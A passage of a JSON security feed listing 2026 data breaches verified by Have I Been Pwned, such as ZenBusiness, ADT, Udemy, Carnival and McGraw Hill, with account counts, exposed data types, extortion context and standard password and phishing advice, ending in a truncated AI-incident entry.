guidance.","publishedAt":"2026-05-07T06:48:33.000Z","updatedAt":"2026-05-07T06:48:33.000Z","regions":["Global"],"vendor":"woflow.com","product":null,"stacks":["Woflow.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Woflow","url":"https://haveibeenpwned.com/Breach/Woflow","type":"primary","publishedAt":"2026-05-07T06:48:33.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-zenbusiness","cveId":null,"aliases":["ZenBusiness"],"kind":"breach","title":"ZenBusiness breach: 5,118,184 accounts exposed","summary":"In March 2026, the hacker and extortion group \"ShinyHunters\" claimed to have obtained a substantial corpus of data from ZenBusiness , a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-27; loaded 2026-05-02. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-02T05:53:38.000Z","updatedAt":"2026-05-02T05:53:38.000Z","regions":["Global"],"vendor":"zenbusiness.com","product":null,"stacks":["Zenbusiness.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: ZenBusiness","url":"https://haveibeenpwned.com/Breach/ZenBusiness","type":"primary","publishedAt":"2026-05-02T05:53:38.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-aman","cveId":null,"aliases":["Aman"],"kind":"breach","title":"Aman breach: 215,563 accounts exposed","summary":"In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a \"pay or leak\" extortion campaign , with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-05-01. Exposed data: Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-01T03:34:30.000Z","updatedAt":"2026-05-01T03:34:30.000Z","regions":["Global"],"vendor":"aman.com","product":null,"stacks":["Aman.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Aman","url":"https://haveibeenpwned.com/Breach/Aman","type":"primary","publishedAt":"2026-05-01T03:34:30.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-pitneybowes","cveId":null,"aliases":["PitneyBowes"],"kind":"breach","title":"Pitney Bowes breach: 8,243,989 accounts exposed","summary":"In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-04-27. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-27T22:52:07.000Z","updatedAt":"2026-04-27T22:52:07.000Z","regions":["Global"],"vendor":"pitneybowes.com","product":null,"stacks":["Pitneybowes.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Pitney Bowes","url":"https://haveibeenpwned.com/Breach/PitneyBowes","type":"primary","publishedAt":"2026-04-27T22:52:07.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-adt","cveId":null,"aliases":["ADT"],"kind":"breach","title":"ADT breach: 5,488,888 accounts exposed","summary":"In April 2026, home security firm ADT confirmed a data breach by ShinyHunters , which listed the company on its website as part of a \"pay or leak\" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that \"in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included\" and that it had contacted all affected people.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-20; loaded 2026-04-27. Exposed data: Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-27T07:36:42.000Z","updatedAt":"2026-04-27T07:36:42.000Z","regions":["Global"],"vendor":"adt.com","product":null,"stacks":["Adt.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: ADT","url":"https://haveibeenpwned.com/Breach/ADT","type":"primary","publishedAt":"2026-04-27T07:36:42.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-udemy","cveId":null,"aliases":["Udemy"],"kind":"breach","title":"Udemy breach: 1,401,259 accounts exposed","summary":"In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-24; loaded 2026-04-26. Exposed data: Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-26T23:01:50.000Z","updatedAt":"2026-04-26T23:01:50.000Z","regions":["Global"],"vendor":"udemy.com","product":null,"stacks":["Udemy.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Udemy","url":"https://haveibeenpwned.com/Breach/Udemy","type":"primary","publishedAt":"2026-04-26T23:01:50.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-carnival","cveId":null,"aliases":["Carnival"],"kind":"breach","title":"Carnival breach: 7,531,359 accounts exposed","summary":"In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-18; loaded 2026-04-24. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-24T01:58:19.000Z","updatedAt":"2026-04-24T01:58:19.000Z","regions":["Global"],"vendor":"carnivalcorp.com","product":null,"stacks":["Carnivalcorp.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Carnival","url":"https://haveibeenpwned.com/Breach/Carnival","type":"primary","publishedAt":"2026-04-24T01:58:19.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Carnival disclosure","url":"https://api.kscope.io/ks-doc-view?key=fde6d8e0-6260-46ee-9286-9578b2baf99c&content=benznews&docid=146ca2a0b6b2c9132af22b2efdfcee546d60ba59&allow_back=true","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-amtrak","cveId":null,"aliases":["Amtrak"],"kind":"breach","title":"Amtrak breach: 2,147,679 accounts exposed","summary":"In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak . The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-03; loaded 2026-04-17. Exposed data: Email addresses, Names, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-17T04:54:48.000Z","updatedAt":"2026-04-17T04:57:56.000Z","regions":["Global"],"vendor":"amtrak.com","product":null,"stacks":["Amtrak.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Amtrak","url":"https://haveibeenpwned.com/Breach/Amtrak","type":"primary","publishedAt":"2026-04-17T04:54:48.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-mcgrawhill","cveId":null,"aliases":["McGrawHill"],"kind":"breach","title":"McGraw Hill breach: 13,500,136 accounts exposed","summary":"In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt . Attributed to a Salesforce misconfiguration, the company stated the incident exposed \"a limited set of data from a webpage hosted by Salesforce on its platform\". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-10; loaded 2026-04-16. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-16T01:31:14.000Z","updatedAt":"2026-04-16T01:38:51.000Z","regions":["Global"],"vendor":"mheducation.com","product":null,"stacks":["Mheducation.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: McGraw Hill","url":"https://haveibeenpwned.com/Breach/McGrawHill","type":"primary","publishedAt":"2026-04-16T01:31:14.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-hallmark","cveId":null,"aliases":["Hallmark"],"kind":"breach","title":"Hallmark breach: 1,736,520 accounts exposed","summary":"In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-31; loaded 2026-04-12. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-12T02:01:11.000Z","updatedAt":"2026-04-12T02:01:11.000Z","regions":["Global"],"vendor":"hallmark.com","product":null,"stacks":["Hallmark.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Hallmark","url":"https://haveibeenpwned.com/Breach/Hallmark","type":"primary","publishedAt":"2026-04-12T02:01:11.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-crunchyroll","cveId":null,"aliases":["Crunchyroll"],"kind":"breach","title":"Crunchyroll breach: 1,195,684 accounts exposed","summary":"In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users . The exposed data is reported to have originated from the company's Zendesk support system where \"name, login name, email address, IP address, general geographic location and the contents of the support tickets\" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-12; loaded 2026-04-04. Exposed data: Email addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-04T04:47:29.000Z","updatedAt":"2026-04-27T20:33:31.000Z","regions":["Global"],"vendor":"crunchyroll.com","product":null,"stacks":["Crunchyroll.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Crunchyroll","url":"https://haveibeenpwned.com/Breach/Crunchyroll","type":"primary","publishedAt":"2026-04-04T04:47:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-songtrivia2","cveId":null,"aliases":["SongTrivia2"],"kind":"breach","title":"SongTrivia2 breach: 291,739 accounts exposed","summary":"In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum . The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-02; loaded 2026-04-04. Exposed data: Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-04T01:59:01.000Z","updatedAt":"2026-04-04T01:59:01.000Z","regions":["Global"],"vendor":"songtrivia2.io","product":null,"stacks":["Songtrivia2.io"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: SongTrivia2","url":"https://haveibeenpwned.com/Breach/SongTrivia2","type":"primary","publishedAt":"2026-04-04T01:59:01.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-breachforumsv5","cveId":null,"aliases":["BreachForumsV5"],"kind":"breach","title":"BreachForums Version 5 breach: 339,778 accounts exposed","summary":"In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as \"Version 5\" was publicly disclosed . The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-26; loaded 2026-03-27. Exposed data: Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-27T02:19:23.000Z","updatedAt":"2026-03-27T02:29:05.000Z","regions":["Global"],"vendor":"breachforums.bf","product":null,"stacks":["Breachforums.bf"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: BreachForums Version 5","url":"https://haveibeenpwned.com/Breach/BreachForumsV5","type":"primary","publishedAt":"2026-03-27T02:19:23.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-scufgaming","cveId":null,"aliases":["ScufGaming"],"kind":"breach","title":"Scuf Gaming breach: 128,683 accounts exposed","summary":"In June 2015, custom gaming controller maker Scuf Gaming suffered a data breach . The incident exposed 129k unique email addresses along with usernames, display names, IP addresses and password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2015-06-05; loaded 2026-03-26. Exposed data: Display names, Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-26T05:31:26.000Z","updatedAt":"2026-03-26T05:31:26.000Z","regions":["Global"],"vendor":"scufgaming.com","product":null,"stacks":["Scufgaming.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Scuf Gaming","url":"https://haveibeenpwned.com/Breach/ScufGaming","type":"primary","publishedAt":"2026-03-26T05:31:26.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-rsboards","cveId":null,"aliases":["RSBoards"],"kind":"breach","title":"RuneScape Boards breach: 222,762 accounts exposed","summary":"In around 2011, the now defunct RuneScape Boards forum (also known as RSBoards) suffered a data breach that was later redistributed as part of a larger corpus of data . The vBulletin-based service exposed 223k unique email addresses along with usernames, IP addresses and salted MD5 password hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2011-12-26; loaded 2026-03-23. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-23T21:40:06.000Z","updatedAt":"2026-03-23T23:24:30.000Z","regions":["Global"],"vendor":"rsboards.com","product":null,"stacks":["Rsboards.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: RuneScape Boards","url":"https://haveibeenpwned.com/Breach/RSBoards","type":"primary","publishedAt":"2026-03-23T21:40:06.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-provecho","cveId":null,"aliases":["Provecho"],"kind":"breach","title":"Provecho breach: 712,904 accounts exposed","summary":"In early 2026, data purportedly sourced from the recipe and meal planning service Provecho was alleged to have been obtained in a breach. The exposed data included 713k unique email address along with username and the creator account holders followed. Provecho has been notified and is aware of the claims surrounding the incident.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-30; loaded 2026-03-03. Exposed data: Email addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-03T06:40:50.000Z","updatedAt":"2026-03-03T06:40:50.000Z","regions":["Global"],"vendor":"provecho.bio","product":null,"stacks":["Provecho.bio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Provecho","url":"https://haveibeenpwned.com/Breach/Provecho","type":"primary","publishedAt":"2026-03-03T06:40:50.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-lovora","cveId":null,"aliases":["Lovora"],"kind":"breach","title":"Lovora breach: 495,556 accounts exposed","summary":"In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.","detail":"Verified by Have I Been Pwned. Breach date: 2026-02-25; loaded 2026-03-02. Exposed data: Display names, Email addresses, Profile photos. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-02T07:23:06.000Z","updatedAt":"2026-03-02T07:23:06.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Lovora","url":"https://haveibeenpwned.com/Breach/Lovora","type":"primary","publishedAt":"2026-03-02T07:23:06.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-komikoai","cveId":null,"aliases":["KomikoAI"],"kind":"breach","title":"KomikoAI breach: 1,060,191 accounts exposed","summary":"In February, the AI-powered comic generation platform KomikoAI suffered a data breach . The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2026-02-25; loaded 2026-03-02. Exposed data: AI prompts, Email addresses, Forum posts, Names. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-02T01:31:29.000Z","updatedAt":"2026-03-02T01:31:29.000Z","regions":["Global"],"vendor":"komiko.app","product":null,"stacks":["Komiko.app"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: KomikoAI","url":"https://haveibeenpwned.com/Breach/KomikoAI","type":"primary","publishedAt":"2026-03-02T01:31:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-ai-uses-d163670fb22c","cveId":null,"aliases":[],"kind":"ai-incident","title":"Disrupting malicious uses of AI | February 2026","summary":"Our latest threat report examines how malicious actors combine 